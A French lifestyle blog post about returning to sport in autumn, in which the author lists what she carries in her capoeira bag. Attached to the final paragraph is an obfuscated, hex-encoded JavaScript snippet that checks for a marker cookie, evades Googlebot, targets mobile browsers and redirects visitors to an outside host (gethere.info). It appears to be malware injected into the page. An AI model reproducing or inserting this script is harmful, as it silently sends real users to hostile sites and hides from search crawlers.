Et hop on reprend le sport !

Et hop on reprend le sport !

Maintenant que nous sommes bien rentrés dans l’automne, on ne peut plus y couper. Fini la farniente au soleil au bord de la plage ou dans son jardin, il est temps de se reprendre en main. Vous ne voyez pas ce que je veux dire ? On va reprendre le sport !

Personnellement, je n’ai pas honte de dire que je n’ai rien fait de toutes les vacances d’été. Deux mois sans activité sportive, je peux vous dire que ma rentrée à la capoeira a été très dure. Oui oui, je fais de la capoeira. Je commence même ma 2ème année. Je peux vous dire qu’il n’y a rien de mieux que de trouver un sport qui nous correspond. Et la capoeira a été ma révélation de l’année dernière.

Mais bon, c’est bien gentil de reprendre le sport mais à chaque fois qu’on commence une nouvelle activité, on se demande bien ce qu’on va pouvoir emporter dans son sac. Les premières séances, on a tendance à pas prendre grand chose et au fur et à mesure on commence à se rendre compte qu’il nous manque plein de choses.

Dans mon sac pour la capoeira, vous pourrez y trouver :

–     Un abada. C’est le pantalon de capoeira. Avec ma corde (qui correspond au système des ceintures dans d’autres arts martiaux). Evidemment, si vous ne faites pas de capoeira, je ne saurais que trop vous conseiller d’investir dans un bon jogging. Quelque chose de pas trop serré pour être à l’aise mais aussi quelque chose qui laisse respirer parce que terminer sa séance de sport complètement trempée, on a déjà vu plus agréable :)

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–     Une serviette. Je ne sais pas vous mais j’ai tendance à dégouliner dès que je fais un peu d’activité physique, et pouvoir s’éponger en cours de séance, ça parait un peu accessoire mais franchement, c’est agréable. Surtout quand la sueur vous coule dans les yeux !

–     Un spray d’eau thermale. Evidemment, vous me connaissez, je prends un spray Avène. Pour se rafraîchir àla fin de la séance ou même au cours de la séance quand il fait très chaud. C’est agréable, ça redonne un petit coup de boost et on se sent beaucoup moins poisseuse après.

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–     Des petites baskets. Les miennes ont environ 15 ans. Je les aime beaucoup pour la capoeira parce qu’elles sont légères et fines. Je pourrais pratiquer à pieds nus mais je n’aime pas trop ça. Donc il a fallu opter pour des baskets souples.

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–     Une bouteille d’eau. Cela peut paraître idiot mais je peux vous dire que les rares fois où j’oubliais ma bouteille, je me sentais un peu seule. Il est absolument indispensable de s’hydrater pendant l’effort sinon je peux vous dire bonjour les crampes et bonjour les courbatures !

–     Un petit en-cas. Par exemple une barre de céréales ou des amandes, juste au cas où. Par moment, on ne le sent pas forcément, on a l’impression d’être en forme mais en cours de séance on a un petit coup de mou alors pour éviter le malaise, on prend toujours avec soi quelque chose à grignoter même si vous n’en avez pas l’utilité immédiatement.

A partir de ça, vous avez déjà la base de ce qu’on peut mettre dans son sac de sports. Evidemment, j’aurais aussi pu parler d’une brassière de sport parce que certaines d’entre nous ont des poitrines bien plus imposantes que la mienne et un bon maintien est indispensable dans la pratique de certains sports. J’aurais aussi pu vous faire penser àprendre de quoi attacher vos cheveux pour celles qui sont adeptes de laisser vivre leur chevelure dans la vie quotidienne. Pour avoir déjà fait de la capoeira en ayant oublié de prendre un élastique, je peux affirmer que c’était pas super pratique !

Evidemment, vous pouvez aussi penser à prendre un anti-inflammatoire à action locale en cas de blessure ou une bombe de froid. Mais souvent, ce sont des choses qui seront présentes dans la salle au niveau des 1ers secours.

Avec tout ça, vous devriez être prêtes àaffronter votre rentrée sportive ! Personnellement, moi, c’est déjàfait et je peux vous dire que j’ai redécouvert des muscles dans mon corps ! Mais ça fait un bien fou.var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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Marie-Hélène, jeune professionnelle, voyage souvent entre Paris et Lille. Son blog Beauty by Poc se veut une mise en avant de son côté « girly » qui sommeille en elle… Découvrez ce qu’elle a à dire sur la beauté en toute simplicité.

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